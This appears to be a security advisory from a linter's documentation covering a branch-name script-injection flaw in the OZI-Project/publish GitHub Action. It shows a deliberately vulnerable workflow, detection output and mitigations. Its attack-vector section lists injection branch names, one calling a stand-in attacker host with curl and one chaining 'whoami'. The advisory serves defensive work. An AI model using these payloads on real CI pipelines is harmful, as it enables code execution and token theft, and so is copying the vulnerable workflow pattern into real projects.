GHSA-2487-9f55-2vg9 #
Summary #
| Field | Value |
|---|---|
| CVE | CVE-2025-47271 |
| Affected Action | OZI-Project/publish |
| Severity | Moderate (CVSS 6.3) |
| Vulnerability Type | Code Injection (CWE-94, CWE-95, CWE-1116) |
| Published | 2025-01-29 |
Vulnerability Description #
The OZI-Project/publish GitHub Action (versions >= 1.13.2, < 1.13.6) is vulnerable to script injection through malicious branch names in pull request creation logic. Attackers can construct branch names that inject arbitrary code when the workflow processes the github.head_ref context variable.
Technical Details:
- CVSS v4 Score: 6.3/10 (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U)
- EPSS: 0.13% (33rd percentile)
- Associated CWEs:
- CWE-94: Improper Control of Generation of Code (Code Injection)
- CWE-95: Eval Injection
- CWE-1116: Inaccurate Comments
- The vulnerability exists where untrusted data flows into PR creation logic through branch names
Attack Vector:
A malicious actor can construct a branch name containing shell command substitution syntax (e.g., feature/test$(malicious_command)). When the workflow creates a pull request using gh pr create, the branch name is interpolated directly into the command, causing code execution.
The Fix (v1.13.6): The security patch moves GitHub Actions expressions to environment variables:
- Before:
gh pr create -B ${{ steps.head.outputs.name }} -H ${{ github.head_ref || github.ref_name }} - After: Uses environment variables
$HEAD_BRANCH,$REF_NAME, and$PR_BODYto prevent shell injection
Workaround: Downgrade to version < 1.13.2 (versions before the vulnerability was introduced)
Vulnerable Pattern #
on:
pull_request:
types: [opened, synchronize]
jobs:
publish:
runs-on: ubuntu-latest
steps:
- name: Create release PR
run: |
# Branch name is directly interpolated - vulnerable!
BRANCH_NAME="${{ github.head_ref }}"
echo "Creating PR for branch: $BRANCH_NAME"
gh pr create --title "Release from $BRANCH_NAME" --body "Automated release"
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
Attack Vector: An attacker can create a branch with name:
feature/test$(curl http://attacker.com)feature/test;whoami;echo-done- These commands execute in the shell context
Detection in sisakulint #
Detection Result #
script/actions/advisory/GHSA-2487-9f55-2vg9-vulnerable.yaml:26:27: code injection (medium): "github.head_ref" is potentially untrusted. Avoid using it directly in inline scripts. Instead, pass it through an environment variable. See https://sisaku-security.github.io/lint/docs/rules/codeinjectionmedium/ [code-injection-medium]
script/actions/advisory/GHSA-2487-9f55-2vg9-vulnerable.yaml:37:38: code injection (medium): "github.head_ref" is potentially untrusted. Avoid using it directly in inline scripts. Instead, pass it through an environment variable. See https://sisaku-security.github.io/lint/docs/rules/codeinjectionmedium/ [code-injection-medium]
Analysis #
| Expected | Detected | Rule |
|---|---|---|
| Branch name code injection | Yes | code-injection-medium |
sisakulint successfully detected this vulnerability. It detected github.head_ref being used directly in inline scripts at 2 locations (line 26 and line 37), and issued code-injection-medium warnings.
Detected key vulnerabilities:
- code-injection-medium:
github.head_refis recognized as untrusted input, recommends passing through environment variable - This rule is important for preventing attacks via shell metacharacters or command substitution syntax in branch names
Mitigation #
Use environment variables: Isolate untrusted input
env: BRANCH_NAME: ${{ github.head_ref }} GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: | gh pr create --title "Release from $BRANCH_NAME" --body "Automated release"Validate branch name format: Use regex validation
env: BRANCH_NAME: ${{ github.head_ref }} run: | if [[ "$BRANCH_NAME" =~ ^[a-zA-Z0-9/_-]+$ ]]; then echo "Valid branch name: $BRANCH_NAME" else echo "Invalid branch name format" exit 1 fiUse safe string operations: Avoid variable expansion in double quotes when possible